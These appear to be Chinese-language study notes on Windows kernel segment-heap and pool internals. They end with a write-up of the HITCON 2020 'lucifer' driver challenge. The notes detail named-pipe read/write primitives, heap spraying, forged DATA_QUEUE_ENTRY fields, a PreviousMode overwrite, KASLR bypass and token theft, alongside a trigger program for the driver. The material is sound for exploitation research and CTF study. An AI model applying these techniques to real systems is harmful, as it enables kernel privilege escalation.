+0x016 MemStatsOffset : Int2B
+0x018 LfhContext : Ptr64 Void
+0x020 VsContext : Ptr64 Void
+0x028 EnvHandle : RTL_HP_ENV_HANDLE
+0x038 Heap : Ptr64 Void
+0x040 SegmentLock : Uint8B
+0x048 SegmentListHead : _LIST_ENTRY
+0x058 SegmentCount : Uint8B
+0x060 FreePageRanges : _RTL_RB_TREE
+0x070 FreeSegmentListLock : Uint8B
+0x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRY

段存储在存储在SegmentListHead中的链表中。段头为_HEAP_PAGE_SEGMENT,后面是256个_HEAP_PAGE_RANGE_DESCRIPTOR结构。

1
2
3
4
5
6
0: kd> dt nt!_HEAP_PAGE_SEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 Signature : Uint8B
+0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
+0x020 UnusedWatermark : UChar
+0x000 DescArray : [256] _HEAP_PAGE_RANGE_DESCRIPTOR

_HEAP_SEG_CONTEXT中还维护了一个红黑树,而_HEAP_PAGE_SEGMENT中的Signature是每个_HEAP_PAGE_SEGMENT都有的一个签名计算

计算方法:

1
2
3
Signature = Segment ^ SegContext ^ RtlpHpHeapGlobals ^ 0xA2E64EADA2E64EAD;
// SegContext: 所属的_HEAP_SEG_CONTEXT
Segment = Addr & SegContext->SegmentMask;
Variable Size Backend

可变大小后端分配512B到128KB大小的块。它的目的是在提供对空闲块的重用。它存储在_HEAP_VS_CONTEXT结构体中。

  • 空闲块以_HEAP_VS_CHUNK_FREE_HEADER的专用结构体为头部。
  • 而已经被分配的块都会以_HEAP_VS_CHUNK_HEADER的结构体开头。而header结构体中的所有字段都与RtlHpHeapGlobals和块的地址进行异或。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0: kd > dt nt! _HEAP_VS_CONTEXT
+0 x000 Lock : Uint8B
+0 x008 LockType : _RTLP_HP_LOCK_TYPE
+0 x010 FreeChunkTree : _RTL_RB_TREE
+0 x020 SubsegmentList : _LIST_ENTRY
+0 x030 TotalCommittedUnits : Uint8B
+0 x038 FreeCommittedUnits : Uint8B
+0 x040 DelayFreeContext : _HEAP_VS_DELAY_FREE_CONTEXT
+0 x080 BackendCtx : Ptr64 Void
+0 x088 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0 x0b0 Config : _RTL_HP_VS_CONFIG
+0 x0b4 Flags : Uint4B

0: kd > dt nt! _HEAP_VS_CHUNK_HEADER
+0 x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0 x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
+0 x008 UnusedBytes : Pos 8, 1 Bit
+0 x008 SkipDuringWalk : Pos 9, 1 Bit
+0 x008 Spare : Pos 10, 22 Bits
+0 x008 AllocatedChunkBits : Uint4B

0: kd > dt nt! _HEAP_VS_CHUNK_HEADER_SIZE
+0 x000 MemoryCost : Pos 0, 16 Bits
+0 x000 UnsafeSize : Pos 16, 16 Bits
+0 x004 UnsafePrevSize : Pos 0, 16 Bits
+0 x004 Allocated : Pos 16, 8 Bits
+0 x000 KeyUShort : Uint2B
+0 x000 KeyULong : Uint4B
+0 x000 HeaderBits : Uint8B

0: kd > dt nt! _HEAP_VS_CHUNK_FREE_HEADER
+0 x000 Header : _HEAP_VS_CHUNK_HEADER
+0 x000 OverlapsHeader : Uint8B
+0 x008 Node : _RTL_BALANCED_NODE

已被分配的块都以_HEAP_VS_CHUNK_HEADER的结构体开头。而header结构体中的所有字段都与RtlHpHeapGlobals和块的地址进行异或。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Chunk->Sizes = Chunk->Sizes ^ Chunk ^ RtlpHpHeapGlobals ;

0: kd> dq ffff998533f74440 L2
ffff9985`33f74440 88a74e1e`7e507045 ffff9985`00000049

0: kd> dt _HEAP_VS_CHUNK_HEADER ffff998533f74440
ntdll!_HEAP_VS_CHUNK_HEADER
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : 0y01001001 (0x49)
+0x008 UnusedBytes : 0y0
+0x008 SkipDuringWalk : 0y0
+0x008 Spare : 0y0000000000000000000000 (0)
+0x008 AllocatedChunkBits : 0x49

0: kd> dx -id 0,0,ffff998520ad7080 -r1 (*((ntdll!_HEAP_VS_CHUNK_HEADER_SIZE *)0xffff998533f74440))
(*((ntdll!_HEAP_VS_CHUNK_HEADER_SIZE *)0xffff998533f74440)) [Type: _HEAP_VS_CHUNK_HEADER_SIZE]
[+0x000 (15: 0)] MemoryCost : 0x7045 [Type: unsigned long]
[+0x000 (31:16)] UnsafeSize : 0x7e50 [Type: unsigned long]
[+0x004 (15: 0)] UnsafePrevSize : 0x4e1e [Type: unsigned long]
[+0x004 (23:16)] Allocated : 0xa7 [Type: unsigned long]
[+0x000] KeyUShort : 0x7045 [Type: unsigned short]
[+0x000] KeyULong : 0x7e507045 [Type: unsigned long]
[+0x000] HeaderBits : 0x88a74e1e7e507045 [Type: unsigned __int64]

在内部,VS分配器使用段分配器。它通过_HEAP_VS_CONTXT中的_HEAP_SUBALLOCATOR_CALLBACKS字段在RtlpHpVsSubsegmentCreate中使用。子分配器回调函数都与VS上下文和RtlpHpHeapGlobals地址进行异或

1
2
3
4
5
callbacks.Allocate = RtlpHpSegVsAllocate;
callbacks.Free = RtlpHpSegLfhVsFree;
callbacks.Commit = RtlpHpSegLfhVsCommit;
callbacks.Decommit = RtlpHpSegLfhVsDecommit;
callbacks.ExtendContext = NULL;
Low Fragmentation Heap Backend

Low Fragmentation Heap Backend是一个后端,专门为从1B ~ 512 B 分配。LFH后端上下文存储在_HEAP_LFH_CONTEXT的结构体中。LFH后端的主要特点是使用不同大小的bucket来避免碎片化

1
2
3
4
5
6
7
8
9
10
11
0: kd > dt nt! _HEAP_LFH_CONTEXT
+0 x000 BackendCtx : Ptr64 Void
+0 x008 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0 x030 AffinityModArray : Ptr64 UChar
+0 x038 MaxAffinity : UChar
+0 x039 LockType : UChar
+0 x03a MemStatsOffset : Int2B
+0 x03c Config : _RTL_HP_LFH_CONFIG
+0 x040 BucketStats : _HEAP_LFH_SUBSEGMENT_STATS
+0 x048 SubsegmentCreationLock : Uint8B
+0 x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET
缓存对齐

随着内核层堆分配器的更新,_POOL_HEADER的大部分字段都是无用的

但是PoolTag和PoolType都是比较重要的

调用了ExAllocatePoolWithTag时,如果PoolType设置了CacheAligned,那么返回的内存将是与缓存行大小对齐的,这个值取决于cpu,通常为0x40。

1
2
PagedPoolCacheAligned = 0n5
NonPagedPoolCacheAligned = 0n4

如果分配的地址没有正确的对齐,那么块可能会有两个headers。

Generic Exploitation

堆溢出,幽灵块,这里介绍了的攻击方式,都是NamedPipe,分别在PagedPool和NonPagedPool中

PipeAttribute

BigPool: 分配必须足够大(x64上为4064+字节)才能在大池中处理

论文中介绍了PagedPool的比较好用的任意读写的方法:PipeAttribute

1
2
3
4
5
6
7
8
struct PipeAttribute
{
LIST_ENTRY list;
char *AttributeName;
uint64_t AttributeValueSize;
char *AttributeValue;
char data[0];
};

分配的大小和数据完全由攻击者控制。AttributeNameAttributeValue是指向数据字段的不同偏移的指针。 可以使用NtFsControlFile系统调用和0x11003C控制码在管道上创建管道属性,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HANDLE read_pipe;
HANDLE write_pipe;
char attribute[] = " attribute_name \00 attribute_value ";
char output[0x100];
CreatePipe(read_pipe, write_pipe, NULL, bufsize);
NtFsControlFile(write_pipe,
NULL,
NULL,
NULL,
&status,
0x11003C,
attribute,
sizeof(attribute),
output,
sizeof(output));

然后可以使用0x110038控制码读取属性的值。AttributeValue指针和AttributeValueSize将用于读取属性的值并将其返回给用户。属性的值可以更改,但这将触发先前PipeAttribute的释放和新分配。

这意味着如果攻击者能够控制PipeAttributeAttributeValueAttributeValueSize字段,它可以在内核中读取任意数据,但不能任意写入。该对象还可以用于在内核中放置任意数据。这意味着它可以用于重新分配易受攻击块并控制幽灵块的内容。

NpFr

WriteFile写NamedPipe会获得chunk,也是可以造成任意读,只要能控制IrpisDataInKernel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct PipeQueueEntry
{
LIST_ENTRY list;
IRP *linkedIRP;
__int64 SecurityClientContext;
int isDataInKernel;
int remaining_bytes__;
int DataSize;
int field_2C;
char data[1];
};

// 读pipe
if (PipeQueueEntry->isDataAllocated == 1)
data_ptr = (PipeQueueEntry->linkedIRP->SystemBuffer);
else
data_ptr = PipeQueueEntry->data;
[...]
memmove((void *)(dst_buf + dst_len - cur_read_offset), &data_ptr[PipeQueueEntry->DataSize - cur_entry_offset], copy_size);

spray

为了获得第所需的内存布局,需要进行一些spray。spray取决于易受攻击的块的大小,因为它将最终分配到不同的分配后端。

为了简化spray过程,可以确保相应的lookaside为空。分配超过256个相同大小的块将确保这一点。

如果易受攻击的块小于0x200,则它将位于LFH(低碎片化堆)后端。然后,spray应该使用完全相同大小的块进行,对应桶的粒度取模,以确保它们都从同一个桶中分配。当请求分配时,LFH后端将按照最多32个块的组进行扫描BlockBitmap,并随机选择一个空闲块。在易受攻击的块分配之前和之后分配超过32个块应有助于打败随机化。

如果易受攻击的块大于0x200但小于0x10000,则它将位于可变大小(Variable Size)后端。然后,spray应该使用与易受攻击的块大小相等的大小进行。较大的块可能会被拆分,从而导致喷洒失败。首先,分配数千个所选大小的块,以确保首先将FreeChunkTree中大于所选大小的所有块清空,然后分配器将分配一个新的0x10000字节的VS子段并将其放入FreeChunkTree中。然后分配另外数千个块,它们将最终位于新的大空闲块中,从而连续。然后释放最后分配块的三分之一,以填充FreeChunkTree。只释放三分之一将确保不会合并任何块。然后让易受攻击的块分配。

最后,可以重新分配已释放的块以最大化喷洒机会。

由于完整的利用技术需要释放和重新分配易受攻击的块和幽灵块,为了方便释放块的恢复,启用相应的动态lookaside非常有趣。为此,一个简单的解决方案是分配数千个相应大小的块,等待2秒钟,然后再分配数千个块并等待1秒钟。这样,我们可以确保平衡集管理器已经重新平衡了相应的lookaside。分配数千个块确保lookaside将成为最常用的lookaside,并且将被启用,并且还确保它在其中有足够的空间。

IO Ring

win11不错的漏洞利用对象。

复现了相关CVE:CVE-2023-21768 Proof of Concept

PreviousMode

修改_KTHREAD.PreviousMode字段。

用户态程序调用系统的 Nt 或 Zw 时,系统调用机制会将调用线程捕获到内核模式。 为了标识参数源自用户模式,系统调用的处理程序将调用方线程对象中的 PreviousMode 字段设置为 UserMode。

而内核态程序调用系统例程并将参数值传递给来自内核态的例程,当前线程对象中的 PreviousMode 字段应为 KernelMode。

系统会检查调用线程的 PreviousMode 字段。这样通过参数就可以知道是来自用户态还是内核态了。

所以当 PreviousMode 设置为 1 时,来自用户空间的NT 或 Zw 版本函数调用将其中进行地址验证。在这种情况下,对内核内存的任意写将失败,因为此时PreviousMode是用户态的状态。当 PreviousMode 设置为 0 (此时是内核态) 时,将跳过地址验证写入任意内核内存地址,从而完成提权。

当我们替换PreviousMode0后,这意味着我们可以使用NtWriteVirtualMemory在整个内核内存中进行不受约束的RW。

  • NtReadVirtualMemoryNtWriteVirtualMemory 调用函数相同(MiReadWriteVirtualMemory),因此在一定方面 NtWriteVirtualMemory 也可以任意读

New

ExAllocatePool2 和 ExAllocatePool3 ,在低版本的Windows系统中会导致无法加载驱动🤣

1
2
3
4
5
6
7
8
9
10
11
12
DECLSPEC_RESTRICT PVOID ExAllocatePool2(
POOL_FLAGS Flags,
SIZE_T NumberOfBytes,
ULONG Tag
);

// Old code
PVOID Allocation = ExAllocatePoolWithTag(PagedPool, 100, 'abcd');
RtlZeroMemory(Allocation, 100);

// New code
PVOID Allocation = ExAllocatePool2(POOL_FLAG_PAGED, 100, 'abcd');

NPFS.SYS

named pipe file system,常见的结构体

这一篇文章:新型Windows内核池风水利用工具研究

  • 命名管道的后端实现在一个名为NPFS.SYS驱动中,模块的主要实现和公开的npfs模块reactos源码基本上大致相同。

DATA_QUEUE_ENTRY

Queue: 双向链表

SecurityContext

1
2
3
4
5
6
7
nt!_SECURITY_CLIENT_CONTEXT
+0x000 SecurityQos : _SECURITY_QUALITY_OF_SERVICE
+0x010 ClientToken : Ptr64 Void
+0x018 DirectlyAccessClientToken : UChar
+0x019 DirectAccessEffectiveOnly : UChar
+0x01a ServerIsRemote : UChar
+0x01c ClientTokenControl : _TOKEN_CONTROL

EntryType

  • Buffered Entries:这个值为0,当调用ReadFile时从DATA_QUEUE_ENTRY.data读取数据
  • Unbuffered Entries: 值为1,当调用ReadFile时从DATA_QUEUE_ENTRY.Irp->AssociatedIrp.SystemBuffer读取数据

QuotaInEntry: 被消耗

  • buffered entries,:开始是DataSize,每当读取一次,就会较少,直到0
  • unbuffered entries:0

DataSize: user data的长度

x: padding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef struct _DATA_QUEUE_ENTRY{
LIST_ENTRY Queue;
_IRP* Irp;
_SECURITY_CLIENT_CONTEXT* SecurityContext;
int EntryType;
int QuotaInEntry;
int DataSize;
int x;
} DATA_QUEUE_ENTRY,*PDATA_QUEUE_ENTRY;

typedef struct _NP_DATA_QUEUE
{
LIST_ENTRY Queue;
ULONG QueueState;
ULONG BytesInQueue;
ULONG EntriesInQueue;
ULONG QuotaUsed;
ULONG ByteOffset;
ULONG Quota;
} NP_DATA_QUEUE, *PNP_DATA_QUEUE;

//nSize指定了pipe的最大容量
BOOL CreatePipe(
[out] PHANDLE hReadPipe,
[out] PHANDLE hWritePipe,
[in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes,
[in] DWORD nSize
);

通过CreatePipe创建命名管道文件对象,文件实例绑定了一个名为NP_DATA_QUEUE类型的队列对象

CreatePipe的参数nSize指定了当前pipe的最大容量或者说是允许最大缓冲区长度,每对pipe进行一次读写操作就会增加一个DATA_QUEUE_ENTRY。

若干次写可以对应若干次读,当存在读数据的请求时irp就会挂起,直到写入请求的数据量达到读取请求的数据量才会完成整个读取irp请求,比如说pipe的容量是1000,第一次写了1000的数据,这个写请求会返回,第二次又写了1000数据那么这个请求就一直挂起,直到读取了1000数据后,最后写入的数据小于或等于pipe的容量,后面写请求才会返回.

npfs!NpAddDataQueueEntry

可以下断点😋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#define POOL_FLAG_REQUIRED_START 0x0000000000000001UI64
#define POOL_FLAG_USE_QUOTA 0x0000000000000001UI64 // Charge quota
#define POOL_FLAG_NON_PAGED 0x0000000000000040UI64 // Non paged pool NX
if ( !a5 )
{
v14 = 48;
if ( a4 )
{
v14 = Size + 0x30;
if ( (int)Size + 0x30 < (unsigned int)Size )
{
NpFreeClientSecurityContext(v12);
return 0xC000000Di64;
}
}
v24 = *(_DWORD *)(a3 + 28) - *(_DWORD *)(a3 + 32);
v15 = Size - a9;
if ( v24 < (int)Size - a9 )
v15 = *(_DWORD *)(a3 + 28) - *(_DWORD *)(a3 + 32);
v26 = v15;
if ( v14 == 0x30 && _interlockedbittestandreset((volatile signed __int32 *)(a3 + 40), 0) )
v16 = *(_QWORD *)(a3 + 40);
else
v16 = 0i64;
if ( v16 )
goto LABEL_14;
v16 = ExAllocatePool2(0x41i64, v14, 'rFpN');
if ( v16 )
{
v15 = v26;
LABEL_14:
*(_DWORD *)(v16 + 36) = v15;
*(_QWORD *)(v16 + 16) = v13;
*(_DWORD *)(v16 + 32) = 0;
*(_QWORD *)(v16 + 24) = v12;
*(_DWORD *)(v16 + 40) = Size;
if ( a4 )
{
if ( v13 )
v22 = *(const void **)(v13 + 112);
else
v22 = a8;
memmove((void *)(v16 + 48), v22, (unsigned int)Size);
if ( v24 < (int)Size - a9 && v13 )
{
v17 = 259;
}
else
{
*(_QWORD *)(v16 + 16) = 0i64;
v17 = 0;
}
}
else
{
v17 = 259;
}
goto LABEL_16;
}
LABEL_51:
NpFreeClientSecurityContext(v12);
return 3221225626i64;
}

NonPagedPool Overflow

Windows-Non-Paged-Pool-Overflow-Exploitation

有源码以及详细的利用手法。

溢出覆盖一字节,也分别给出两种利用手段的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
NTSTATUS Al20c(size_t Size)
{
char* buf = (char*)ExAllocatePoolWithTag(NonPagedPoolNx, Size, 'AAAA');
for (int i = 0; i <= Size && buf; i++)
buf[i] = ' ';
return STATUS_SUCCESS;
}

NTSTATUS All0c(size_t Size)
{
char* buf = (char*)ExAllocatePoolWithTag(NonPagedPoolNx, Size, 'AAAA');
for (int i = 0; i <= Size && buf; i++)
buf[i] = 0;
return STATUS_SUCCESS;
}

展示如何创建unbuffered pipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__kernel_entry NTSYSCALLAPI NTSTATUS NtFsControlFile(
[in] HANDLE FileHandle,
[in, optional] HANDLE Event,
[in, optional] PIO_APC_ROUTINE ApcRoutine,
[in, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] ULONG FsControlCode,
[in, optional] PVOID InputBuffer,
[in] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[in] ULONG OutputBufferLength
);

//create the pipe/file in FILE_FLAG_OVERLAPPED mode (blocking mode)
NtFsControlFile(pipe_handle, 0, 0, 0, &isb, 0x119FF8, buf, sz, 0, 0);

溢出数据足够多

可以控制整个 DATA_QUEUE_ENTRY

IRP任意读

1
2
3
4
5
6
7
8
9
10
DATA_QUEUE_ENTRY:
NextEntry=whatever;
Irp=Forged IRP Address;
SecurityContext=ideally 0;
EntryType=1; // unbuffered
QuotaInEntry=ideally 0;
DataSize=arbitrary read size;
x=whatever;

IRP->SystemBuffer = arbitrary read address

修改DataSize越界读

1
2
3
4
5
6
7
8
DATA_QUEUE_ENTRY:
NextEntry=whatever;
Irp=ideally 0;
SecurityContext=ideally 0;
EntryType=0;
QuotaInEntry=ideally 0; //mostly irrelevent in case we use the peek operation
DataSize=something bigger than the original size;
x=whatever;

相关利用:HITCON 2020 lucifer

溢出长度比较小

结构体第一个元素Queue,是一个双向链表

1
2
3
4
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;

这样是可以修改链表的指向,指向其余的DATA_QUEUE_ENTRY,但是windows存在安全机制,检查entry->Flink->Blink!=entry

我们可以使用PeekNamedPipe 读取而不释放

overflow->任意地址写

1字节溢出

HITCON 2020 lucifer

lucifer:Windows 10 Pro 20H2,一个非常低的权限运行 cmd.exe

OOB write,angleboy还带有相关PPT,看PPT

四个功能,经典菜单堆

首先是Create:在NonPagedPoolNx创建0x400大小的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
case 0x222000u:
DbgPrint("Create\n");
v8 = sub_1400051DC();
goto LABEL_16;
__int64 sub_1400051DC()
{
unsigned int v0; // ebx
PVOID PoolWithTag; // rax

v0 = 0;
PoolWithTag = Destination;
if ( !Destination )
{
PoolWithTag = ExAllocatePoolWithTag((POOL_TYPE)512, 0x400ui64, 0x6963754Cu);
Destination = PoolWithTag;
}
if ( !PoolWithTag )
v0 = 0xC0000017;
RtlZeroMemory(PoolWithTag, 0i64, 1024i64);
return v0;
}

ADD: system buffer 是我们传递的参数,可以看出来是个赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
case 0x222004u:
DbgPrint("ADD\n");
if ( SystemBuffer && InputBufferLength >= 0x18 )
{
v11 = SystemBuffer[2];
v13 = *(_OWORD *)SystemBuffer; // SystemBuffer
v14 = v11;
v8 = sub_140001028(&v13);
goto LABEL_16;
}
__int64 __fastcall sub_140001028(_QWORD *a1)
{
__int64 result; // rax

result = 0i64;
if ( !Destination || a1[1] != 0xDADADDAAi64 )
result = 0xC0000022i64;
*((_QWORD *)Destination + *a1) = a1[2];
return result;
}

GET:读取内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
case 0x222008u:
DbgPrint("GET\n");
if ( SystemBuffer && OutputBufferLength >= 0x18 && InputBufferLength >= 0x18 )
{
v9 = SystemBuffer[2];
v13 = *(_OWORD *)SystemBuffer;
v14 = v9;
v8 = sub_14000107C(&v13);
v10 = v14;
*(_OWORD *)SystemBuffer = v13;
SystemBuffer[2] = v10;
a2->IoStatus.Information = 24i64;
goto LABEL_16;
}
__int64 __fastcall sub_14000107C(_QWORD *a1)
{
unsigned int v1; // edx

v1 = 0;
if ( !Destination || a1[1] != 3671776682i64 )
v1 = -1073741790;
if ( *a1 < 0x80ui64 )
{
a1[2] = *((_QWORD *)Destination + *a1);
a1[1] = 3735928559i64;
}
return v1;
}

Release,free掉chunk

1
2
3
4
5
6
7
8
9
10
case 0x22200Cu:
DbgPrint("Release\n");
v8 = sub_1400010E0();
__int64 sub_1400010E0()
{
if ( Destination )
ExFreePoolWithTag(Destination, 0x6963754Cu);
Destination = 0i64;
return 0i64;
}

漏洞点:ADD,有一个越界写。

WritePipe在内核态调用了

1
ExAllocatePoolWithTag(NonpagedPoolNx, sizeof(payload)+0x30, tag)

每次写pipe,内核态会添加一个DATA_QUEUE_ENTRY

1
2
3
4
5
6
7
8
9
typedef struct _DATA_QUEUE_ENTRY{
LIST_ENTRY Queue; // 双向链表
_IRP* Irp;
__int64 SecurityContext;
int EntryType;
int QuotaInEntry;
int DataSize; // 不包含元数据
int x;
} DATA_QUEUE_ENTRY,*PDATA_QUEUE_ENTRY;

存在一点Debug信息,我们先查看获得对象的大小:0x440, 同时 !pool命令显示 pool header地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0: kd> lm m Luc*
Browse full module list
start end module name
fffff800`40b70000 fffff800`40b78000 Lucifer (deferred)
0: kd> ba e1 fffff800`40b70000+0x5200
0: kd> g

1: kd> p
Lucifer+0x5206:
fffff800`40b75206 48890513deffff mov qword ptr [Lucifer+0x3020 (fffff800`40b73020)],rax
1: kd> r rax
rax=ffff9a882f51c460
1: kd> !pool ffff9a882f51c460
Pool page ffff9a882f51c460 region is Nonpaged pool
ffff9a882f51c000 size: 440 previous size: 0 (Allocated) RLin
*ffff9a882f51c450 size: 440 previous size: 0 (Allocated) *Luci
Owning component : Unknown (update pooltag.txt)
ffff9a882f51c8b0 size: 440 previous size: 0 (Allocated) Viaa
ffff9a882f51cd10 size: 220 previous size: 0 (Allocated) AleP
ffff9a882f51cf30 size: b0 previous size: 0 (Free) Y..=

往里面写0x400个内容,0x440 = 0x10 pool header + 0x400 chunk + 0x30 padding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0: kd> !pool FFFFA489243E4A20
unable to get nt!PspSessionIdBitmap
Pool page ffffa489243e4a20 region is Nonpaged pool
ffffa489243e4000 size: a00 previous size: 0 (Allocated) Thre
*ffffa489243e4a10 size: 440 previous size: 0 (Allocated) *Luci
Owning component : Unknown (update pooltag.txt)
ffffa489243e4e50 size: 190 previous size: 0 (Free) .l.:

0: kd> dq FFFFA489243E4A20 L88
ffffa489`243e4a20 00000000`deadbeef 00000000`deadbeef
# ...
ffffa489`243e4e10 00000000`deadbeef 00000000`deadbeef
ffffa489`243e4e20 00000000`00000000 00000000`00000000
ffffa489`243e4e30 00000000`00000000 00000000`00000000
ffffa489`243e4e40 00000000`00000000 00000000`00000000
ffffa489`243e4e50 ba816c05`08f395a9 00000000`00000000

用于调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int main()
{
HANDLE hDevice;
DWORD dwRet;
BOOL stat;
hDevice = CreateFileW(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
std::cout << "[-] Error CreateFileW" << std::endl;
exit(EXIT_FAILURE);
}
stat = DeviceIoControl(
hDevice,
0x222000,
NULL, 0,
NULL, 0,
&dwRet,
NULL
);
if (!stat)
{
std::cout << "[-] Error DeviceIoControl" << std::endl;
}

// ADD
UINT64 data[3];
data[1] = 0xDADADDAA;
for (int i = 0; i < 0x80; i++) {
data[0] = i;
data[2] = 0xdeadbeef;
stat = DeviceIoControl(
hDevice,
0x222004,
&data, sizeof(data),
NULL, 0,
&dwRet,
NULL
);
}
std::cout << "[+] ADD Done" << std::endl;
getchar();
// release
stat = DeviceIoControl(
hDevice,
0x22200,
NULL, 0,
NULL, 0,
&dwRet,
NULL
);
CloseHandle(hDevice);
return EXIT_SUCCESS;
}

布局堆风水

一种堆喷方式:切割

  • 两个chunk: 0x800 + 0x7c0
  • 0x800 切割成一个漏洞对象,另一个是pipe
  • 概率出现想要的风水

还可以使用论文中的方式

  • 首先,分配上千个选中大小的块,以确保首先清空FreeChunkTree中所有大于所选大小的块.
  • 然后,分配器将分配0x10000字节的新VS字段,并将其放入FreeChunkTree.
  • 然后再分配几千个分块,这些分块最终会进入新的大空闲分块,因此是连续的,然后释放最后分配的块的3分之1,用于填充FreeChunkTree,只是放3分之1将确保不会有数据块合并,最后重新分配已释放的数据块,以最大限度增加喷射机会.

理想是得到这样的堆布局

1
2
3
4
5
6
7
4: kd> !pool FFFF8981621A6010
unable to get nt!PspSessionIdBitmap
Pool page ffff8981621a6010 region is Nonpaged pool
*ffff8981621a6000 size: 440 previous size: 0 (Allocated) *Luci
Owning component : Unknown (update pooltag.txt)
ffff8981621a6450 size: 440 previous size: 0 (Allocated) NpFr Process: ffff898162043080
ffff8981621a68a0 size: 440 previous size: 0 (Allocated) NpFr Process: ffff898162043080

查看pipe,header

1
2
3
4
5
6
7
8
9
4: kd> dq ffff8981621a6450
ffff8981`621a6450 7246704e`0a446f00 f7ca3fb8`9f7f4811
ffff8981`621a6460 ffffcc05`0fd259b8 ffffcc05`0fd259b8
ffff8981`621a6470 00000000`00000000 ffffcc05`10a100f0
ffff8981`621a6480 000003d0`00000000 00000000`000003d0
ffff8981`621a6490 43434343`43434343 43434343`43434343
ffff8981`621a64a0 43434343`43434343 43434343`43434343
ffff8981`621a64b0 43434343`43434343 43434343`43434343
ffff8981`621a64c0 43434343`43434343 43434343`43434343

越界写入

1
2
3
4
5
6
7
8
9
1: kd> dq ffff8387c055d450
ffff8387`c055d450 7246704e`0a440000 330bb4ed`16bfc9f1
ffff8387`c055d460 ffffc288`07372bd8 ffffc288`07372bd8
ffff8387`c055d470 00000000`00000000 ffffc288`05794910
ffff8387`c055d480 00000000`deadbeef 00000000`000003d0
ffff8387`c055d490 43434343`43434343 43434343`43434343
ffff8387`c055d4a0 43434343`43434343 43434343`43434343
ffff8387`c055d4b0 43434343`43434343 43434343`43434343
ffff8387`c055d4c0 43434343`43434343 43434343`43434343

读取pipe而且不free掉chunk,可以使用

1
2
3
4
5
6
7
8
BOOL PeekNamedPipe(
[in] HANDLE hNamedPipe,
[out, optional] LPVOID lpBuffer,
[in] DWORD nBufferSize,
[out, optional] LPDWORD lpBytesRead,
[out, optional] LPDWORD lpTotalBytesAvail,
[out, optional] LPDWORD lpBytesLeftThisMessage
);

修改DataSize越界读取,泄露nt的基址,从而可以bypass kaslr

  • Page segment = PipeQueueEntry & 0xfffffffffff00000 (Segment mask)
  • Signature of Page segment = readmem(Page segment + 0x10)
  • Segcontext = (Page segment) ^ (Signature of Page segment) ^ RtlpHpHeapGlobals.HeapKey ^ 0xA2E64EADA2E64EAD
  • Segment heap = Segcontext - 0x100
  • callback function: Segment heap->VsContext,RtlpHpHeapGlobals.HeapKey ^ encode data ^ VsContext address

任意地址读取:EntryType 为unbuffer时可以读取Irp,而这个Irp可以伪造

提权:我们可以读取system的token值,然后根据驱动的任意写写入当前进程

API 前缀

代表着Windows native(原生)系统服务(system services)例程(routines)。

Ke - kernel的缩写,代表的是内核模式的API接口。

Nt - Windows New Technology的缩写,代表的是 Windows 系统服务功能API接口。 大部分以Nt开头的函数,都映射到了用户态(User Mode)API接口。比如你编写的用户模式程序,用到了CreateFile这个函数,由于它需要访问系统内部的数据结构,必须要进入内核模式,这时的程序就要转入内核模式,相对应的内核模式功能服务接口,正是ntdll.dll中的NtCreateFile,它最终完成来自用户态程序的函数功能请求。

Zw - 没有具体的缩写含义,只是为了避免和其它前缀的重复。它的功能和与之相对应的Nt函数是一致的(可以说是Nt功能的镜像)。 不同点在于: 相应的Nt函数,是对系统服务的直接;而Zw需要经过一系列系统准备动作,比如:系统服务码入寄存器保存,系统KiSystemService加载,然后才执行具体的服务功能调用。 看着负担加重了,但好处是,在执行时,系统参数的系列校验不必再进行了(拜所谓的previous access mode之赐),所以反而轻快了;而Nt系列函数虽然调用时简洁,但每一次执行都要参数校验,因此反而累赘了。这也正是内核态程序(比如驱动程序)多用Zw系统的原因(因为需要和previous mode打交道)。

reference